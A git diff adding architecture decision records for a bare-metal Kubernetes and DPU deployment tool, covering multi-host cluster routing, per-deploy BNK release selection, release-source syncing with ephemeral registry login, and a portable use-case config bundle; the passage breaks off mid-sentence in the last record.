b/docs/adr/ADR-424-multi-host-dpu-single-cluster.md new file mode 100644 index 00000000..c1640737 --- /dev/null +++ b/docs/adr/ADR-424-multi-host-dpu-single-cluster.md @@ -0,0 +1,77 @@ +# ADR-424 — Multi-Host / Multi-DPU Single Cluster over rshim (tmfifo IPAM + Hub-and-Spoke Routing) + +- **ID:** `ADR-424` (GitHub epic [#424](https://github.com/f5devcentral/bnk-forge/issues/424)). +- **Status:** Accepted — Design Locked (Grill complete 2026-07-23). +- **Date proposed:** 2026-07-17 +- **Date accepted:** 2026-07-23 +- **Depends on:** ADR-204 (SSH BNK-layer modules — PR #420 merged to `staging`). + +--- + +## Context & Problem Statement + +Today, a bare-metal BNK deployment targets **one host** (one `BareMetalDeployment` → one host = control plane, its single DPU joins as a worker over tmfifo/rshim). A project often contains **multiple bare-metal hosts**, each carrying one or more DPUs, and requires a **single Kubernetes cluster** spanning all hosts and DPUs. + +The rshim/tmfifo join transport (where DPUs join k8s over point-to-point tmfifo interfaces rather than the data VLAN) creates two challenges when scaling to multi-host: +1. **Host-local IPAM collision**: The existing tmfifo allocator computes `/30` addresses host-locally (`192.168.100.0/30`), causing collisions when DPUs on different hosts try to join the same cluster. +2. **Multi-host reachability**: DPUs on remote hosts cannot reach the control plane apiserver or each other without cluster-wide addressing and cross-host routing. + +--- + +## Decision & Design Architecture + +### 1. Membership Model (B-select with B-all Default) +- **Host members**: Join the Kubernetes cluster over their routable management IP via standard `kubeadm join`. Schedulable — carry BNK control-plane workloads and host-level workloads (e.g. GPUs). +- **DPU members**: Join as worker nodes over their host's tmfifo link (`--node-ip` = tmfifo IP). Carry BNK data-plane workloads (TMM/CNE). +- **Default behavior**: Every host registered in a project is automatically included in the cluster by default (**B-all**). Operators can deselect specific hosts or DPUs (**B-select**). + +### 2. Control Plane Placement +- **Single Control-Plane Host**: One designated host runs `apiserver`, `etcd`, and core k8s control-plane components. All other hosts and all DPUs join as workers. Addressing/routing design allows future HA extension without breaking changes. + +### 3. Cluster-Scoped tmfifo IPAM Allocator +- **Unit**: Remains `/30` per host↔DPU link (`host_tmfifo_ip` `.1`, `dpu_tmfifo_ip` `.2`). +- **Cluster Pool**: Allocates unique `/30` subnets from a cluster-level pool CIDR (e.g. `192.168.100.0/22`). +- **Persistence**: Allocation occurs automatically upon cluster membership assignment and is persisted in `Dpu` records for idempotent redeployment. +- *Note*: Multi-DPU-per-host MAC uniqueness is an orthogonal concern handled in ADR-478 (`poc-deployer` MAC assignment). + +### 4. Hub-and-Spoke Routing +- **DPU → Apiserver**: Apiserver is advertised on the **CP host's management IP** + cert SANs (mgmt + tmfifo). Every DPU reaches the CP apiserver via its local host's NAT/MASQUERADE. +- **Apiserver → Remote DPU Kubelet**: CP host installs static routes `dpuX_tmfifo/32 via ownerHost_mgmtIP` for remote DPUs, and owner hosts enable `ip_forward`. + +### 5. Data Model Shape (Q6) +- **Aggregate**: Reuses `KubernetesCluster` table. +- **Side-Table**: Adds 1:1 `BnkClusterConfig` (`cluster_id`, `tmfifo_pool_cidr`, `join_transport`, `control_plane_host_id`). +- **Entities**: + - `BareMetalHost`: `kubernetes_cluster_id` (FK), `is_control_plane` (bool). + - `Dpu`: `kubernetes_cluster_id` (FK), persisted `host_tmfifo_ip` & `dpu_tmfifo_ip`. + +### 6. Deployment Orchestration (Q7) +- **Parent DAG Orchestrator**: Celery workflow coordinates execution across hosts: + 1. CP Host Init (`kubeadm init` on CP host over mgmt IP with SANs). + 2. Parallel Worker Host Joins (`kubeadm join` over mgmt IP) & DPU Joins (tmfifo IPAM + rshim join). + 3. BNK Layer Deployment (Modules 18–25 applied via CP apiserver). + +### 7. Blueprint & UI UX (Q8) +- **Deploy Modal**: Auto-populates all project hosts (B-all default), provides radio selection for CP host, checkboxes for worker hosts/DPUs, and configures cluster tmfifo CIDR pool. + +### 8. Teardown / Destroy Ordering (Q9) +- **Reverse-Dependency DAG**: + 1. Revert BNK layer modules (18–25) via CP apiserver. + 2. Reset DPU worker nodes & clean up tmfifo static routes/NAT on hosts. + 3. Drain and reset Worker Hosts in parallel (`kubeadm reset`). + 4. Drain and reset CP Host (`kubeadm reset`). + 5. Release tmfifo pool allocations and delete `BnkClusterConfig`. + +--- + +## Phasing & Rollout Plan + +- **Phase 0 (Design & Spec)**: Grill complete; ADR-424 written; sub-issues filed. +- **Phase 1 (Core Model, Allocator & Member Join — CI-testable)**: + - Database schema & Alembic migration (`BnkClusterConfig`, `BareMetalHost`, `Dpu` additions). + - Cluster-scoped tmfifo pool allocator. + - Apiserver mgmt IP advertisement & SAN additions. + - Worker host join over mgmt IP. +- **Phase 2 (Hub-and-Spoke Routing & Validation — Bench-gated)**: + - CP host static route programming & host `ip_forward`. + - Live validation on 2 physical bare-metal hosts (hard gate before Phase 2 merge). diff --git a/docs/adr/ADR-478-bnk-release-selection.md b/docs/adr/ADR-478-bnk-release-selection.md new file mode 100644 index 00000000..04cd22ba --- /dev/null +++ b/docs/adr/ADR-478-bnk-release-selection.md @@ -0,0 +1,69 @@ +# ADR-478 — Per-deploy BNK release selection (unlock SSH bare-metal from 2.2) + +- **ID:** `ADR-478` (GitHub epic [#478](https://github.com/f5devcentral/bnk-forge/issues/478)). ADR id derives from the tracking issue number. +- **Status:** Proposed (design accepted 2026-07-20 via grill-with-docs; implementation not started). +- **Date:** 2026-07-20 +- **Builds on:** ADR-204 (SSH BNK-layer modules, merged via PR #420). +- **Design context:** `BNK-RELEASE-SELECTION-DESIGN.md` (worktree root, untracked) — full grill glossary + blast-radius analysis. + +## Context + +The SSH bare-metal blueprint is effectively locked to BNK **2.2** while current BNK is **2.3(.1)** (2.4 imminent). Three causes: + +1. **No 2.3 deploy profile.** Deploy reads `BareMetalHost.version_profile` (`BnkVersionProfile`) via `blueprint_context.resolve_project_context`. Only 2.1/2.2 are seeded; 2.2 is `is_default`; no 2.3 row. +2. **Nothing selects a version.** `version_profile_id` is nullable, never auto-assigned, and there is no deploy-time field. NULL → the SSH modules fall back to hardcoded 2.2. +3. **Hardcoded 2.2 fallbacks** in the SSH modules: `_DEFAULT_MANIFEST_VERSION = "2.2.1-3.2226.0-0.0.511"` (`bnk_prerequisites.py:42`), cert-manager `v1.16.1` (`bnk_cert_manager.py`, `blueprint_context.py:134`), `kind: CNEInstance` (`bnk_cneinstance.py`, ignores `bnk_cr_kind`). + +There are also **two unlinked version tables**: `BnkVersionProfile` (the deploy matrix) and `bnk_releases` (a detection-only registry that maps an installed FLO version to a GA label; consumed by `ReleaseRegistryService.resolve_ga`/`list_releases`/`sync_from_oci`, `bnk_upgrade_service`, and the `BNKReleaseRegistry` UI). No MCP consumer. + +BNK provides **no cross-version interworking guarantee**, so the release must be a **per-deploy** choice, not a per-host default. Many target sites are **disconnected** (no repo.f5.com at deploy). + +## Decision + +**Introduce a per-deploy BNK release selection backed by a new admin-managed deployable-release catalog, reconciling `BnkVersionProfile` away without touching `bnk_releases`.** + +1. **New `bnk_deployable_release` catalog** (the exact deploy matrix: manifest chart string, FLO chart version, cert-manager, doca, k8s, containerd/runc, calico/multus/sriov, storage, `bnk_cr_kind`, `is_default`, `is_active`, `source_type`) with a **nullable FK → `bnk_releases`** for GA-label display only. `bnk_releases` is **NOT modified** — detection/`resolve_ga`/registry UI untouched. `BnkVersionProfile` rows migrate into the catalog and the model is retired; `blueprint_context` repoints. Rationale: a GA *line* (fuzzy, detection) and a deployable *pin* (exact, deploy) are genuinely different entities. + +2. **Per-deploy selection.** `create_deployment(deployable_release_id=…)` (deploy dialog + API). Persist on `BareMetalDeployment` as a `deployable_release_id` **FK** *and* freeze the full matrix into `version_profile_snapshot` (reproducibility). Default = catalog `is_default`. + + **Resolution seam (impl decision 2026-07-20, Option A).** The 25 BNK-layer SSH modules resolve versions through `resolve_project_context(host_id)` (`ssh_tasks → build_variables_for_ssh → assemble_variables`) — a path that never sees the orchestrator's `BareMetalDeployment` (the two paths connect only through host+project). So `create_deployment` **stamps the chosen release onto `bare_metal_hosts.version_profile_id`** (repointed FK → `bnk_deployable_release`) *in addition to* the deployment FK+snapshot, and `resolve_project_context` keeps reading `host` — now from the catalog table. `host.version_profile_id` is the **UI pre-fill hint** (pre-fills the picker) that the deploy action overwrites with the operator's actual per-deploy choice as the resolution anchor; the authoritative per-deploy record is the deployment's frozen `version_profile_snapshot`. (Option B — threading `deployment_id`/snapshot through the engine-agnostic module chain — was rejected as too wide a change to a path shared with non-baremetal flows.) + + **Placement amendment (2026-07-21, after live test).** The `create_deployment`/orchestrator path is **disabled/unreachable in the UI**; the operative deploy path is the **blueprint/stack deploy (Stacks tab)** → `resolve_project_context(project_id, host_id)`. So the picker moves to the **stack deploy dialog** (gated to BNK/bare-metal blueprints); on submit it stamps the chosen release onto the same `host.version_profile_id` carrier (per-deploy override of the pre-fill), keeping the Option-A resolution seam. **Per-deploy is confirmed, not per-project:** a project owns *many* clusters (`Project.k8s_clusters`), so a release is a property of the **cluster**, not the project. As no `KubernetesCluster` row exists at bring-up (linked post-Phase-2 at `ssh_tasks.py:320`), the deploy invocation is the correct per-cluster selection point — Decision 2 ("per-deploy, not per-host") stands. **Added in P1:** a `deployable_release_id` FK on `KubernetesCluster`, stamped at the post-Phase-2 link seam, so the cluster durably records the release it was built with (the long-term home for upgrade/parity/lifecycle). Multi-host (ADR-424, parked) records one release once on the cluster row — no per-host divergence. The dead bare-metal-panel picker is removed. + +3. **De-hardcode = fail-fast, catalog-driven.** Delete the 2.2 version fallbacks; parameterize `kind`/cert-manager from the release. A missing required version errors loudly (kills the silent-2.2 failure class). CNEInstance CR shape (`spec.dataPlane`?) and FLO 2.21.x Helm values schema are *plumbed* now but *pinned* during live validation. + +4. **Disconnected-first sourcing.** Catalog rows carry the **full explicit matrix, seeded at build/install time** (migration) → deploys need **no repo.f5.com pull** (reuses ADR-204's skip-if-provided). An **online refresh** action (connected) pulls+parses repo.f5.com manifests to add/update rows (extends the `sync_from_oci` pattern). Build-time task: pull the 2.3.1 manifest once at dev time and bake resolved versions into the seed. + +5. **Default flip.** Seed 2.3 `is_active=True, is_default=False`; flip `is_default`→2.3 only after live validation (D) passes (**done 2026-07-24**, see P2 outcome). Same mechanism for 2.4. + +6. **Per-release licensing contract → new `bare-metal/bnk-license` module (found in P2).** BNK **2.3.1 changed how CWC is licensed**. In **2.2**, CWC is licensed entirely through **FLO helm `license.*` values** (no `License` CR exists anywhere in the forge path). In **2.3.1**, CWC (`spk-cwc`) is licensed by a **`License` CR** (`apiVersion: k8s.f5net.com/v1`, Namespaced in `f5-operator`; only `jwt` required — JWKS auto-derives from the JWT type) and **ignores** FLO's helm `license.*` block. Without the CR, CWC logs "waiting for a License CR", TMM stays **STANDBY**, and F5SPKVlans never reach `Programmed` (bnk-vlans times out). Fix = a new **release-gated** module `bare-metal/bnk-license`, wired between `bnk-cneinstance` and `bnk-vlans` (blueprint is now **26 modules**): parses `manifest_version`, and for **`>= 2.3`** applies the License CR (CRD gate `licenses.k8s.f5net.com` + CWC-deployment gate `f5-spk-cwc` → apply → wait `condition=LicenseActive`), while **`< 2.3`** is a **clean no-op** (2.2 has no such CRD; an ungated CRD wait would hang forever). The now-inert 2.2 `license.*` block is left in `bnk_flo.py` (harmless on 2.3.1). This is the concrete resolution of Decision 3's "CNEInstance/FLO shape *pinned* during live validation" for the licensing dimension. + +### Phases + +- **P1 (mergeable, CI-testable):** catalog model + migration + build-time seed (2.1/2.2/2.3.1) · reconcile `BnkVersionProfile` → catalog + repoint `blueprint_context` · per-deploy selection (FK + snapshot + dialog/API + openapi types) · de-hardcode fail-fast · online refresh-from-repo.f5.com · minimal admin surface (list/activate/set-default) · tests. +- **P2 (bench-gated):** live 2.3.1 end-to-end on dpu-server-2 — modules green + BNK Active; pin CNEInstance shape + FLO 2.21.x values vs the live 2.3 CRD/charts; ADR-204 6-invariant parity re-run; clean destroy; **then flip `is_default`→2.3.** + + **P2 outcome (2026-07-24) — COMPLETE.** Full from-scratch 2.3.1 e2e on dpu-server-2: **26/26 modules deployed, no hand-fix.** Forge's `bnk-license` module created the License CR itself (`Registering`→`Active`, connected mode) → both F5SPKVlans `Programmed=True` → GatewayClass `bnk-gatewayclass` Accepted → TMM active (1/0). Prior-session fixes validated live from scratch: flash MAC-enum (`NET_RSHIM_MAC=00:1a:ca:ff:ff:10`, no `tmfifo_net1 down` workaround), setup-dpu-networking retry-verify, BFB stall/resume. **ADR-204 6-invariant live parity passed** (f5-bnk ns + workloads, SF NADs, TMM SF data-plane, GatewayClass controllerName, `dpu` taint, F5SPKVlan Programmed). **CNEInstance 2.3.1 shape pinned:** `pseudoCNI.enabled` + `networkAttachments:[sf-external,sf-internal]` + TMM env (`TMM_DEFAULT_MTU`, `TMM_IGNORE_GATEWAYS`), **no `spec.dataPlane`** (resolves Decision 3's carve-out). `is_default` **flipped 2.2→2.3.1**. Follow-up found+fixed (Decision 6 tail): `bnk-license`'s first apply can lose a transient 2.3.1 `ResourceQuota` admission race (`f5-single-license-quota`, "status unknown for quota") — extended the shared `_apply_manifests` retry to cover it. + + **P2 closeout dispositions (2026-07-24).** + - **Static render-parity (SSH-vs-catalog):** the byte-parity gate `tests/unit/test_adr204_ssh_parity.py` (11 assertions, green in pre-push) is **2.2-scoped** — its DPU context pins `bnk_manifest_version=2.2.1` and diffs against the 2.2 catalog snapshot. **N/A for 2.3.1**: 2.3.1 is SSH-only (no catalog-path renderer) and intentionally diverges (networkAttachments vs `spec.dataPlane`, License CR). The 2.3.1 equivalence evidence is the **live 6-invariant applied-resource parity** above, not a static diff. + - **k8s version pinning — REAL de-hardcode follow-up (does NOT block the flip):** the selected release's `k8s_version` (2.3.1 → `1.30.14`) does **not** reach `install-k8s-prereqs`/`kubeadm-init`. `probe-dpu` emits a `k8s_version` output that auto-wire precedence prefers over the release-derived value; on a fresh host that output is `None`, so the modules fall back to default/host apt state — the bench installed **1.29.15**. Functionally tolerated (26/26, BNK Active), but the release does not actually pin k8s. Fix: release-pinned versions must win over `probe-dpu`'s detected outputs (or `probe-dpu` must not emit a shadowing `None`). Likely affects other versions probe-dpu emits. **Decision (2026-07-24): document + defer** — enforcing the pin has no behavior-neutral form; it changes deploys to an untested k8s version (the bench validated `1.29.15`, and 2.2's seeded `1.30.4` is itself unverified, same provenance as the chart/cr_kind fields fixed below), so real enforcement must ride with a re-validated live deploy or the release-management branch. + - **Live 2.2 no-op path — VALIDATED (2026-07-24, part 7).** Full from-scratch 2.2 (BNK 2.2 GA) deploy on dpu-server-2 via the UI release picker: **26/26 deployed.** `bnk-license` was a clean no-op (0.0s, emitted `license_active=True`, **no License CRD and no License CR on the cluster**) — 2.2 licensing is carried by the FLO helm chart → both F5SPKVlans `Programmed=True`, CWC + CNEInstance `Available=True`, all 6 live-parity invariants green. This mirrors the 2.3.1 License-CR path, validating the 2.2↔2.3.1 licensing-contract split in both directions. Two never-live-validated 2.2 seed fields surfaced and were fixed: (a) chart versions (cert-manager `v`-prefix, real FLO tag `v2.9.27-0.3.4`, pullable manifest `2.2.1-3.2226.0-0.0.511`); (b) `bnk_cr_kind` `BNKGatewayClass`→`CNEInstance` — FLO 2.2 installs `cneinstances.k8s.f5.com` and no `bnkgatewayclass` CRD exists, so the module renders a uniform `CNEInstance` for every release. + - **`bnk-license` requires `jwt_token` even on the pre-2.3 no-op path** (`InputSpec(required=True)`), enforced at `validate_inputs()` *before* the version gate. Benign by design: 2.2 already requires the JWT for the FLO helm `license.*` block, so a 2.2 deploy always supplies it. Recorded so the requirement isn't later mistaken for a bug. + - **Clean destroy:** N/A as a forge operation — the SSH bare-metal modules are imperative host mutations with no meaningful reverse op; teardown is `force-delete` (DB) + manual host reset (the validated workflow). Not a P2 gap. + +## Consequences + +- One authoritative deploy catalog; the silent-NULL→2.2 failure class is removed (fail-fast). +- `bnk_releases` and its consumers are untouched — detection/upgrade/registry UI keep working. +- `BnkVersionProfile` is retired (data migrated) — one fewer overlapping table. +- Disconnected sites deploy any seeded release with no repo.f5.com dependency for version metadata. +- New runtime concept (deployable-release catalog) needs a minimal admin UI + API + generated types. +- **Out of scope:** air-gapped fetch of the actual charts/images at deploy (local registry mirror — separate concern); cloud/non-SSH blueprint version selection. + +## References + +- Design context: `BNK-RELEASE-SELECTION-DESIGN.md` (worktree root). +- Investigation: `blueprint_context.py`, `backend/modules/bare_metal/bnk_*.py`, `services/bare_metal/orchestrator.py:350`, `services/release_registry_service.py`, `models/bnk_release.py`, `models/bare_metal.py`. +- Provenance caveat: the 2.3.1 manifest string `2.3.1-3.2598.3-0.0.304` was seen **only** in the separate `dpubnkctl` repo — **verify against repo.f5.com** before seeding. FLO 2.21.13 + k8s 1.30–1.31 are corroborated in forge (`bnk_upgrade_service.py`, `bnk_releases`). +- Related: ADR-204 (SSH BNK-layer). diff --git a/docs/adr/ADR-494-bnk-release-management-consolidation.md b/docs/adr/ADR-494-bnk-release-management-consolidation.md new file mode 100644 index 00000000..1f9faffa --- /dev/null +++ b/docs/adr/ADR-494-bnk-release-management-consolidation.md @@ -0,0 +1,80 @@ +# ADR-494: BNK Release Management Consolidation + +- **Status:** Proposed (2026-07-22) +- **Tracking:** GitHub #494 +- **Builds on:** ADR-478 (per-deploy release *selection*; this branch is **stacked** on `feat/adr-478-bnk-release-selection`) +- **Related:** ADR-204 (SSH BNK layer), `docs/DPU_DEPLOY_REQUIREMENTS.md` R6.2 +- **Domain language:** see `CONTEXT.md` (produced via grill-with-docs, 2026-07-21/22) + +## Context + +ADR-478 made the BNK release a **per-deploy selection** backed by the `bnk_deployable_release` catalog. It deliberately left *release management* — how releases are sourced, tracked across the estate, and reconciled with detection — untouched. Live testing surfaced the gaps: + +- Two "release" tables with unclear roles: `bnk_deployable_release` (exact deploy recipes) vs `bnk_releases` (fuzzy GA-line detection). Operators are unsure which is the source of truth. +- Deployable releases are seeded/refreshed ad hoc; there is no first-class notion of *where a release came from* (remote registry vs air-gapped mirror), unlike the mature module-source model. +- Forge does not durably record *which release a given cluster is running*; discovery computes it and discards it. +- BNK↔DOCA are decoupled in a way that bites: `bnk_deployable_release.doca_version` is **stored but unused**; the DPU BFB/DOCA is selected independently from `bluefield_software_images`. R6.2 intends a coupling (compare installed vs target, reflash on mismatch) that was never built. + +The term "release" was itself overloaded; `CONTEXT.md` now pins the language. + +## Decision + +Consolidate BNK release *management* around two clearly-scoped tables, a first-class release source, and durable per-cluster tracking. + +1. **Two tables, distinct roles — keep both.** + - **Catalog** (`bnk_deployable_release`) = Releases *available to deploy*, each an exact recipe. **Source of truth for deploys.** + - **Install base** (`bnk_releases`) = everything Forge *learns* about BNK — a **superset** of the Catalog (recipe optional). Holds exact identity when known plus the **match term** (`flo_version_prefix`/ranges) used to classify installs to a **Version line**. + +2. **Cluster tracking + observed upsert.** A cluster carries two links: **deployed Release → Catalog** (intent; null if not Forge-deployed) and **running Release → Install-base registry** (reality, from discovery). On discovery, if the exact running Release is not already a registry row, Forge **upserts one** (`source = observed`) so the running link always resolves — even for a version the Catalog never shipped. The **deployed-vs-running divergence is the drift signal** (realises R6.2 without the throwaway check). + +3. **First-class `ReleaseSource`.** A new entity (its *own* schema — not reusing `ModuleSource`'s git/OAuth machinery), `kind = oci | mirror/proxy | manual`, with optional credentials. The Catalog syncs Releases *from* a source; Catalog rows gain provenance (`source_id`, `last_synced`) and a source-driven **sync** (generalises ADR-478's repo.f5.com online refresh). Releases are immutable, so sync only *adds*. Air-gap = point a source at a local mirror/proxy. + +4. **Catalog tab in the UI.** Relocate the minimal deployable-release admin out of `BareMetalPanel` into the Catalog page, as a peer of the BlueField-image and module catalogs; surface `ReleaseSource` management + refresh there. + +5. **BNK↔DOCA coupling — decided in Phase C, not before.** Today the two are independent (correctly, per the DPU-BFB-OS vs host-OS two-axis split documented in `CONTEXT.md`/ADR-478). Whether a Release should *reference* a compatible DOCA (and drive reflash) is deferred to live validation. + +## Phases + +- **A** (CI-testable, disconnected-first): `ReleaseSource` entity + source-driven sync + Catalog tab UI. +- **B** (estate-testable): install-base registry as superset (exact rows + observed upsert on discovery) + `Cluster.running_release_id` + drift = deployed-vs-running. +- **C** (bench-gated): BNK↔DOCA coupling decision + (if adopted) reflash-on-mismatch. + +## Consequences + +- "Single source of truth" is preserved *without* merging the tables: deploys read the Catalog; identity/detection reads the Install base. Merging a fuzzy classifier with an exact recipe was rejected (loses the Version-line↔Release 1-to-many and burdens every row with irrelevant columns). +- Per-project is explicitly **not** the model — a project owns many clusters; a release is a property of the cluster. +- Adds a network side-effect on catalog sync/refresh (bounded, non-blocking; airgap uses a mirror source). +- Stacks on unmerged ADR-478 → rebase if ADR-478's E2E surfaces fixes. Migration numbering continues after ADR-478's; watch the `embedded-agent-deployment` v2_142–144 collision (renumber on rebase to staging). + +## Related hardening (same "unvalidated catalog metadata" theme) + +- **Fixed** on the ADR-478 branch (`15557d95`): BFB download poisoned-cache, cached-BFB validation, save-time DOCA URL warnings. +- **Parked** for this work: `host_os`/`host_arch` controlled-vocabulary normalization (`amd64`↔`x86_64`, `arm64`↔`aarch64`); `reboot-host` default timeout bump for DPU-mode reboots (900s too tight — observed ~15½ min recovery). + +## Phase A live-fetch — decision record (promotes backlog ADR494-001) + +Phase A shipped source-driven sync over a **manually-supplied** manifest only; live pulling from a source was deferred to backlog item ADR494-001. Locked here via `grill-with-docs` (2026-07-23) so the build can proceed. Scope: for a `ReleaseSource` of `kind = oci | mirror`, list the available manifest **tags**, let the operator select one or more, pull each manifest, and upsert per-Release **Catalog** (`bnk_deployable_release`) rows. + +**Empirical finding (durable — confirmed by a live pull, 2026-07-23).** The `f5-bigip-k8s-manifest` chart is a multi-release *index* by schema, but every tag pulled to date carries **exactly one** Release in its `releases:` list (verified for tag `2.2.1-3.2226.0-0.0.511`; see CONTEXT.md → *Manifest*). The registry tag is the **long full-version string** (`2.2.1-3.2226.0-0.0.511`), not a clean `2.2.1`. Consequence: the picker MAY treat **1 tag = 1 Release** for UX, but the parser MUST still iterate `releases:` as a list. + +**Decisions:** + +1. **Selection model (Q1).** Tag-centric: browse tags → select tag(s) → pull → populate a Releases pane → add to Catalog. Post-pull summary recovers transparency; no pre-pull preview needed. +2. **Listing/fetch mechanism (Q2).** Add **`oras`** to the backend image and shell out to `oras repo tags` for enumeration; keep `helm pull` (helm v3.20.0 already in the image) for fetching the manifest chart. Chosen over hand-rolling GAR's undocumented `/v2/.../tags/list` token dance — `oras repo tags` is the *proven* path (it enumerated the live tags), it matches Forge's existing shell-out-to-CLI pattern (helm/kubectl), and image-size cost is negligible. Trade-off: a new image dependency + reliance on the tag-list API vs. bespoke HTTP code — accepted. +3. **Auth (Q3).** Per-operation **ephemeral** login via a single `registry_session(source)` context manager (one decrypt + one login, reused across a whole batch — not per tag): decrypt `credential_encrypted` → `helm registry login -u _json_key_base64 --password-stdin ` writing into a **per-call temp registry config file** (`tempfile.mkdtemp()` → `/config.json`); run oras/helm; `finally: shutil.rmtree(tmpdir)`. Secret fed via **stdin**, never argv. + - **Config sharing (corrected — the "one env var both honor" assumption is false):** `helm` honors `HELM_REGISTRY_CONFIG` / `--registry-config `; `oras` honors `DOCKER_CONFIG` (a *dir*) / `--registry-config `. The reliable shared mechanism is to pass **`--registry-config /config.json` explicitly to all three calls** (`helm registry login`, `helm pull`, `oras repo tags`). **Do NOT mutate `os.environ`** — the backend is multi-threaded (uvicorn); two concurrent syncs would clobber/leak each other's config. Unique temp dir per call + the explicit flag eliminates the collision. + - **Reuse existing on-host login logic** at `modules/bare_metal/bnk_ssh_base.py:400-421`, which already handles the SA-key login **and two credential shapes** (bare base64 SA key with `-u _json_key_base64`, vs a pre-built dockerconfigjson containing `"auths"`) plus shred-in-finally. The fixed `-u _json_key_base64` form alone fails for pre-built-dockerconfig credentials. + - Host per kind: `oci` → fixed `repo.f5.com`; `mirror` → host from `source.url`. `decrypt_value` raising `DecryptionError` → surface a generic "credential decryption failed" (never echo the value into `sync_error`, which is API-returned). + - **Manifest extraction:** `helm pull` yields a `.tgz`, not YAML. Reuse the extraction at `modules/bare_metal/bnk_prerequisites.py:209-221` (`helm pull … --version --untar` → `find . -name '*manifest*.yaml' ! -name Chart.yaml`), don't hand-roll. + - **Image (corrected):** the sync endpoints run **synchronously in the backend/uvicorn process** (not Celery), so `oras` must be COPY'd into the Dockerfile **`api` stage** (and worker stage for parity), not only `tooling-deps`. + - *Persistence is unchanged from Phase A:* the SA key lives in `ReleaseSource.credential_encrypted`, Fernet-encrypted at rest via `core.encryption`, exactly like Forge's SSH private keys / passwords; API exposes only `has_credential`. Shared threat model: `FERNET_KEY` is the master secret for all Forge secrets. No new persistence work. +4. **Mirror semantics (Q4).** `mirror` = a pull-through proxy **or** a private registry that mirrors repo.f5.com's paths exactly. Only host + credential differ; the repo path `release/f5-bigip-k8s-manifest` is assumed identical, reusing the OCI code path. Re-hosting at a different path is out of scope (use `manual` upload instead). +5. **Degradation (Q5).** Listing is **best-effort**; pull-by-tag is the primitive. List OK → populate picker. List fails (network/auth/registry lacks tag API) → show error but keep a **manual tag-entry** box that runs the same pull. The existing **paste/upload-manifest** path remains the fully-offline third option. Three coherent add-paths: pick-listed-tag / type-known-tag / paste-manifest. +6. **Batch add (Q6).** Per-tag **savepoint** (`begin_nested`) best-effort: one tag's failure neither poisons the session nor aborts the others. Return a summary (added / skipped-already-present / failed-with-reason). Upsert is **idempotent**, keyed on `bnk_manifest_version` (Releases immutable → re-add is a no-op). Source `sync_status = success` unless the whole operation fails (login/list) — a partial batch stays `success` with per-tag detail. +7. **Picker UX (Q7).** Cross-reference listed tags against existing Catalog rows → "in Catalog" badge + disabled checkbox; sort semver-descending; pre-release tags shown+flagged, unchecked by default (not hidden); tags displayed **verbatim**. **Build-time verification step:** run a live `oras repo tags repo.f5.com/release/f5-bigip-k8s-manifest` first to settle the real tag shape (short vs long vs both) before finalizing the picker. +8. **Scheduling (Q8).** `auto_sync` **deferred** — manual "Fetch tags" / "Sync" action only. Model fields (`auto_sync`, `sync_interval_hours`) stay but the UI toggle is hidden. Rationale: auto-adding tags silently mutates the deploy source-of-truth; Releases publish rarely; revisit as its own item once manual is proven. +9. **Surfaces (implementation calls, non-domain).** Tag-picker lives in the **existing Sync dialog** ("Fetch available tags" populates the picker; manifest paste demoted to offline fallback). Backend: `GET /release-sources/{id}/tags` (best-effort list) + `POST /release-sources/{id}/tags:pull` (pull selected + upsert, per-tag savepoint + summary). + +## References + +- GitHub #494 · CONTEXT.md · ADR-478 · ADR-204 · `docs/DPU_DEPLOY_REQUIREMENTS.md` R6.2 · backlog ADR494-001 diff --git a/docs/adr/D-034-portable-bnk-use-case-artifact.md b/docs/adr/D-034-portable-bnk-use-case-artifact.md new file mode 100644 index 00000000..3d990a92 --- /dev/null +++ b/docs/adr/D-034-portable-bnk-use-case-artifact.md @@ -0,0 +1,254 @@ +# D-034 — Portable BNK Use-Case Artifact (parameterized config/policy bundle) + +- **Status:** Accepted (PRD + 5 open questions signed off by operator 2026-07-21; ready to decompose P0 tracer) +- **Date:** 2026-07-21 +- **Wave:** Pages-rework Wave 2. Standalone / cluster-scoped; Wave 3 (Fleet, D-025/D-026) and Wave 4 (fleet fan-out) *consume* this object, they are not prerequisites. +- **Repairs:** the `config_export_service` **verbatim-promotion footgun** (import applies one cluster's data-plane onto another unchanged). +- **Closes:** the `k8s_drift_service` **desired-state stub** (complete diff engine, no desired input). +- **Related:** D-018 (dynamic CRD dashboard), D-021/D-023 (migration → *generates* CRs; this *packages* them), D-025/D-026 (Fleet — future consumer), D-028 (unified blueprint catalog — sibling "named reusable unit" pattern), `bf_conf_template_service` (the named/versioned + `matching_bnk_version` + refuse-delete-while-referenced pattern this is modelled on). + +--- + +## Context / Problem + +BNK Forge has no **named, versioned, portable unit of "a BNK use-case"** — a bundle of the config +and policy that makes a cluster *do a job* (e.g. "east-west-secure", "north-south-waf"), that can be +lifted off one cluster and applied to another with that cluster's own addressing. Three concrete gaps +trace to its absence: + +1. **The export footgun.** `config_export_service.export_cluster_config` pulls live CRs and strips + only k8s-managed metadata (`uid`, `resourceVersion`, …) — it promotes `spec` **verbatim**. The + `/clusters/{id}/bnk/import` route then server-side-applies those specs onto a *different* cluster. + Cluster A's `F5SPKVlan.selfip_v4s`, `F5SPKStaticRoute.gateway`, `F5SPKSnatpool.addresses`, and + `F5SPKEgress.sourceTranslation` land on cluster B **unchanged** → wrong addressing → broken data + plane. There is no parameterization; "portable" today means "portable only to an identically-addressed cluster." + +2. **The drift stub.** `k8s_drift_service` has a complete, working diff engine (`_diff_dicts`, + `_normalize_for_comparison`) that is **starved of a desired-state input** — `check_manifest_drift` + / `check_helm_drift` return `"not available"` for lack of one. There is nothing that says "this is + what the cluster *should* look like." + +3. **No governance/reuse unit.** Marcus builds a gateway+policy+VLAN set by hand every time; Aisha has + no object to version, promote, or refuse-to-delete-while-in-use; Atlas (MCP/API) has no artifact to + export/import; Sofia has no named baseline to detect drift against. + +**The convergence.** These are the same missing object seen from four angles. `bnk/topology.py` +already knows *exactly which CR fields are cluster-specific*; `config_export` already *extracts* the +CRs (just verbatim); `bf_conf_template` is the proven *named/versioned + inject* pattern; `k8s_drift` +is the *payoff* waiting for a desired-state. The Use-Case Artifact is the object that unifies them. + +**Grounding personas** (`docs/features/E2E_PERSONAS.md`): Marcus (build config once, reuse across +clusters), Aisha (govern/version/promote, Config Export/Promotion surface), Atlas (headless +export/import via MCP/API), Sofia (drift = "cluster diverged from use-case v1"). + +--- + +## Goals / Non-goals + +**Goals (v1).** +- A new domain object — **`UseCaseArtifact`** — with immutable **versions**. +- Each version bundles a curated set of **config + policy + supporting data-plane CRs** (kind set below). +- A **typed parameter schema**: cluster-specific values are **lifted into named params** via a + **hybrid** flow — auto-propose from the 